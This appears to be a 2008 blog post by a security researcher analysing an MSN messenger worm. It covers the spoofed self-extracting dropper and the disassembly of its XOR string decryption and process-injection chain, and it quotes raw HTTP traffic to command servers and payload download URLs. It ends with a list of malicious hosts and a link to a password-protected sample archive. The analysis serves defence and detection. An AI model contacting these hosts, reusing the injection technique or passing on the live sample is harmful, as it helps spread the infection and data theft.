Before i begin, let's notice a few close viruses :)
This: http://www.cisrt.org/enblog/read.php?106
Is a different one, older one from July. Reported and still not fully detected by vendors.
Now for the painful part, this:
http://blog.threatfire.com/2008/06/msn-im-worm.html
a little older variant that was covered in June!!! that is 5 month ago!! the detection rates were nasty, they still are as you will see afterwards...
The point I don't get is why don't AV vendors take care of the missed detections at least AFTER some security researcher publishes an analysis?!
I got a message from a friend who is currently having a trip in thailand and i was amazed to see that his computer sent me a message with a link with my msn email in it. I clicked the link and here a file download prompt pops up and the file name is: "virus-PIC006.JPG-www.myspace.exe".
Well, as tired as i may be, i would never be THAT tired to execute it :)
So i saved it and started to analyze!
Well what is it? it is a self extracting cab archive(almost original :) with resource details spoofed to be a microsoft file! (it even looks like it was edited manually using a tool such as Resource Hacker)
File Version: "6.0.2900.2180"
Description: "Win32 Cabinet Self-Extractor " (may be they thought we won't notice the spaces :)
Company: "Microsoft Corporation"
File Version: "6.00.2900.2180 (xpsp_sp2_rtm.040803-2158)"
Internal Name: "Wextract "
Language: "English (United States)"
Original File name: "WEXTRACT.EXE "
Product Name: "Microsoft® Windows® Operating System"
Product Version: "6.00.2900.2180"
Well again it seems that Winrar is more effective than an Anti-Virus, where it detects it as a self-extracting archive so i know it's no simple exe:
The funniest think about this "trap file" is that it has double extension of .jpg...........exe that comes with the default icon of a jpeg file
BUT when you switch to DETAILS view in the browser, then you see its 16x16 icon which is a setup icon:
Dear bad guys! use some of that money you steal to do some Q&A for your bot droppers!
O.K let's see if our friends know it:
9 of 36...wow!
Could it be that Symantec, Mcafee, Kaspersky, F-Secure, Panda, Sophos all the great brands does not even suspect it?! and that Microsoft which is quite new in the AV business catches it?! I want to point out Dr. Web again for being a good detector(comparing to the concept of an Anti-Something) as Kaspersky once were, before they went to enterprise and from tech to GUI (if i was kaspersky, i would by dr web...just a thought)
So we extract the sfx and we get a file called test.exe with a jpg icon, this time it's not an archive, here comes the real shame, it is not even packed!!!
Let's see if our friends know it:
it is just a simple VC++ executable that uses dynamic function calls with the simplest use of a rolling xor running on the string "somenigz', quite amusing :)
.text:0040122E mov [ebp+var_340], 0
.text:00401238 push offset Source ; "¦âöÉàöíâPÆöéé¦"
.text:0040123D call sub_401000
.text:00401242 add esp, 4
.text:00401245 push eax ; lpProcName
.text:00401246 push offset aFgqfaXaa ; "Üöâƒö¥-+¯ò¥¥"
.text:0040124B call sub_401000
.text:00401250 add esp, 4
.text:00401253 push eax ; lpModuleName
.text:00401254 call ds:GetModuleHandleA
.text:0040125A push eax ; hModule
.text:0040125B call ds:GetProcAddress
You can see these letters "Üöâƒö¥-+¯ò¥¥" which are clearly XORed sent to a function, the classic "decrypt my dll name and then the function in it and call it". Of course "sub_401000" is the decrypt function:
.text:0040105D Rolling_Xor_Loop: ; CODE XREF: sub_401000+85j
.text:0040105D mov edx, [ebp+var_C]
.text:00401060 add edx, 1
.text:00401063 mov [ebp+var_C], edx
.text:00401066
.text:00401066 loc_401066: ; CODE XREF: sub_401000+5Bj
.text:00401066 cmp [ebp+var_C], 9
.text:0040106A jnb short loc_401087
.text:0040106C mov eax, [ebp+Str]
.text:0040106F add eax, [ebp+var_8]
.text:00401072 mov ecx, [ebp+var_C]
.text:00401075 mov dl, [eax]
.text:00401077 xor dl, byte ptr aSomenigz[ecx] ; "somenigz"
.text:0040107D mov eax, [ebp+Str]
.text:00401080 add eax, [ebp+var_8]
.text:00401083 mov [eax], dl
.text:00401085 jmp short Rolling_Xor_Loop
Decoded XORed strings, by order, are:
CreateProcessA
kernel32.dll
NtUnmapViewOfSection
ntdll.dll
VirtualAllocEx
kernel32.dll
WriteProcessMemory
kernel32.dll
GetThreadContext
kernel32.dll
SetThreadContext
kernel32.dll
ResumeThread
This shows us this was not written by simple kids! this is a professional code injection using thread contexts, this teaches us that the guys "on the wild" have learned beyond besides CreateRemoteThread!!!
It seems that this version relates to: burimilol.com which is unknown to "norton safe web" (yeah right): https://safeweb.norton.com/report/show?name=burimilol.com but it's older variant is known "burimilol.net": https://safeweb.norton.com/report/show?name=burimilol.net
What separates us from the criminals is the "protected domain services" which is mostly used by criminals...again no internet cops :)
Now it executes itself! parses its duplicate's PE and sections and injects code into it!
Then it dumps a hidden exe in %windir%(c:\windows) called fxstaller.exe(48kb) which this time has a jpg icon in both the 32x32 and the 16x16 :)
This exe drops/downloads image.exe(48kb) in a new temp folder in %temp%
This results are crippy!!! i guess Dr.Web also failed and there is no one left to trust but Microsoft!
Then service.exe(144kb) is dropped at %windir$\system32\service.exe, a hidden file with a darth vader icon :)
This exe of darkness downloads and executes a file to c:\msn.exe
Now some deeper information, for the researchers among us. Why their url is not blocked?! because they are tricky!!!
They "try" do download http://www.freewebtown.com/tatrusa/test2.jpg which redirects to
http://fwt.txdnl.com/6-40/t/a/tatrusa/test2.jpg
Then it requests
GET /cn?sid=40545F5A4F1F545B365C365836085B51363A0C1B1F000A0C4939080A02495B4F0A000D542F5C2B282F2D5A5C5A2D5E2C5D5A5B282B2B5E582C5F5151592D2C515D2A5A5A4F081D544F131854594F1D1954594F080F0F000D54585F515D51504F04061B1901000D5408075B0E4F1B0C1F000D54505C505B692901 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 85.17.166.233
And gets
HTTP/1.1 200 OK
Date: Thu, 13 Nov 2008 00:04:56 GMT
Server: Apache/2.0.61 (FreeBSD) PHP/5.2.3 with Suhosin-Patch mod_fastcgi/2.4.2
Set-Cookie: sid=EE1DDFD5947B45F595556BD6D7E9C1A7; expires=Sat, 07-Nov-2009 19:04:56 GMT
g_InstallDll: http://77.93.75.153/img/upd.dll
Content-Length: 127
Connection: close
Content-Type: text/html
34034a4615431643424540474651151e4a4640445116034a354344403134363435464641464633333543454346414f434f4e3431313131315104114a047743
Then it sends stuff about me, to get the commands for this cool trojan!
POST / HTTP/1.1
g_Version: 1156
g_ClientGUID: ,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_SetID: [QJx
g_AffiliateID: y9NkNh
g_ResourceID: MnOM
g_URL: 8
g_Client: .Sf"yhJ:y9N:y!y:9` %?[H[Q]F:FBxFf@8/FQ"`:y:J9GGg)O?BFVO S[VE Ji8.K"-:G:`-!G:y!8vR"^yJG8Z}V"|OW?Om8*) uOxFfUO?On U}" =?}m8rc="GG^G!^aa^NG^`9^Gk8*K [VV}]QUf"0S*S!p[IO"f[n[f)rvSp[IO"f[n[fb8 =?}m86Wn"GGGGGkGh>#GGGGGkGq8p]IWO? }a H?}VOff}?f" y8.f_fO?cnIFQ" 1Of8o)]VV=}QQ"QOBO?o=}QQ"QOBO?o=}QQp]I"Go,FAO" ="z/.pq*/)zf~fUOI!JzQQQAPFF.:nAAo.QF fFMO" !kkoqOaX?}mfO?"D="zS?}x?[I ,FAOfz.QUO?QOU KYHA}?O?z.KeSZ*uK:KeKD ^Q}'}IOoqOfEU}H)~fUOI"qOfEU}Ho
g_GZipSupported: U?]O
g_RevID: h9J-
g_First: y
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: bescoro.com
Content-Length: 37
Cache-Control: no-cache
)vcv.)v.=) 0%nDDn@%r}MFAA[|FfU}?~" @b
And gets:
HTTP/1.1 200 Ok
Server: nginx/0.5.35
Date: Thu, 13 Nov 2008 00:05:26 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Pragma: No-cache
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Content-Length: 219
Content-Language: en
Set-Cookie: uid=Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: guid=,`Xc,q!`!q-Kk!JcXX-yK9NNGqKNk=!!; expires=Mon, 09-Dec-2007 13:46:00 GMT
Set-Cookie: cn=y; expires=Mon, 09-Dec-2007 13:46:00 GMT
Location:
Test: [B[FA
g_AdCategory: )}IO
g_ConnectionPerDay: k
g_MaxCategoryAppearances:
g_Popup: U?]O
g_PopupPerDay: yGy
g_RSD: 'UUH"88}WFOWO:V}I8x}88o'UUH"88nO?}]fUF:V}I8x}88o
g_RedirectServers: 'UUH"88NJ:hN:J!`:!`8x}88o'UUH"88N`:y-:y99:y-G8x}88o'UUH"88N!:ykh:yy`:ykN8x}88o
g_RevFlag: G
g_ServerIPs: gWOfV}?}:V}I"NGigNh:yNN:y9:!9"NGigN!:ykh:yy`:yk-"NGi
g_SetIDWas: _Q?OAO[fOn
g_StatisticsUploadDelay: y
g_StealFocus: a[AfO
g_UID: Xk!-,=c=Xyy9yyqqXkJky9NkNh=,,,,,
g_URL: 8
Y.r.r..G.....=......Q..|$u..kM.+`.......u..-.L..7...7{G.
.w.=.(r...%.......u........NsGD.a.2...g.d....I.6..:T.............R.L_......$6.G.......RZeZ>
+=/~..`Y. ........B........X
..'.a.b..7...O>n.i..Y.._9_%.
...qre../.p.
Then it "trys" to download http://www.freewebtown.com/tatrusa/oos.jpg and again redirected to: http://fwt.txdnl.com/6-40/t/a/tatrusa/oos.jpg
Then it downloads http://www.j2arts.com/images/msn.exe to c:\msn.exe
From here it looks like it is the same old tech viruses (keyloggers and the classics, i don't have time for these files.....):
rundll32.exe C:\WINDOWS\system32\vtUolLBS.dll,a (vtUolLBS == random name)
rundll32.exe C:\WINDOWS\system32\nnnljiiI.dll,c
rundll32.exe C:\WINDOWS\system32\iifgHbyY.dll,a
So let's summarize!
Evil hosts:
burimilol.net
burimilol.com
www.j2arts.com
www.freewebtown.com
fwt.txdnl.com
bescoro.com
77.93.75.153
85.17.166.233
The AV vendors should receive my scanned files from virustotal.
I will also make an exception on this one and upload a sample for all the involved executable!
http://www.linkstofiles.com/MSNWorm.rar
archive password: "virus"
Stop them, sue them, black list them, hack them, they are stealing from all of us!
Fight for digital law enforcement!!!
1 comment:
did you get it from me (internet cafe' around here)?
cool analysis anyway, good work.
i think you should inform websense or some other dudes btw.
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